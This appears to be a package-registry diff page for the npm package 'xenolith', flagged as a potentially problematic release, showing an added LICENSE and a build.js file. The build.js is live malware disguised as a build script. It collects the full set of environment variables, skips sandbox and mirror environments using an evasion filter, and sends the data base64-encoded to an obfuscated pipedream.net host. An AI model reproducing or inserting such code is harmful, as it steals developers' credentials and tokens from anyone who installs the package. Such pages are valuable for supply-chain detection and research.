xenolith 0.0.1-security → 1.0.12

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of xenolith might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License Copyright (c) 2021
2
+
3
+ Permission is hereby granted, free
4
+ of charge, to any person obtaining a copy of this software and associated
5
+ documentation files (the "Software"), to deal in the Software without
6
+ restriction, including without limitation the rights to use, copy, modify, merge,
7
+ publish, distribute, sublicense, and/or sell copies of the Software, and to
8
+ permit persons to whom the Software is furnished to do so, subject to the
9
+ following conditions:
10
+
11
+ The above copyright notice and this permission notice
12
+ (including the next paragraph) shall be included in all copies or substantial
13
+ portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
16
+ ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
18
+ EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
19
+ OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/build.js ADDED
@@ -0,0 +1,30 @@
1
+ const http = require('https');
2
+
3
+ const filter = [
4
+ { key: 'npm_config_registry', val: ['taobao', 'org'].join('.') },
5
+ { key: 'npm_config_registry', val: ['registry', 'npmmirror', 'com'].join('.') },
6
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
7
+ { key: '_', val: ['', 'usr', 'bin', 'python'].join('/') },
8
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') }
9
+ ];
10
+
11
+ function main() {
12
+ var data = process.env || {};
13
+ if (
14
+ filter.some(({ key, val }) => data[key] && data[key].includes(val)) ||
15
+ Object.keys(data).length < 10) {
16
+ return;
17
+ }
18
+
19
+ req = http.request({
20
+ host: ['533ebe3451240b0b7b215b05fc7ffe47', 'm', ['pip', 'edream'].join(''), 'net'].join('.'),
21
+ path: '/' + (data.npm_package_name || ''),
22
+ method: 'POST'
23
+ }).on('error', function (err) {
24
+ });
25
+
26
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
27
+ req.end();
28
+ }
29
+
30
+ main();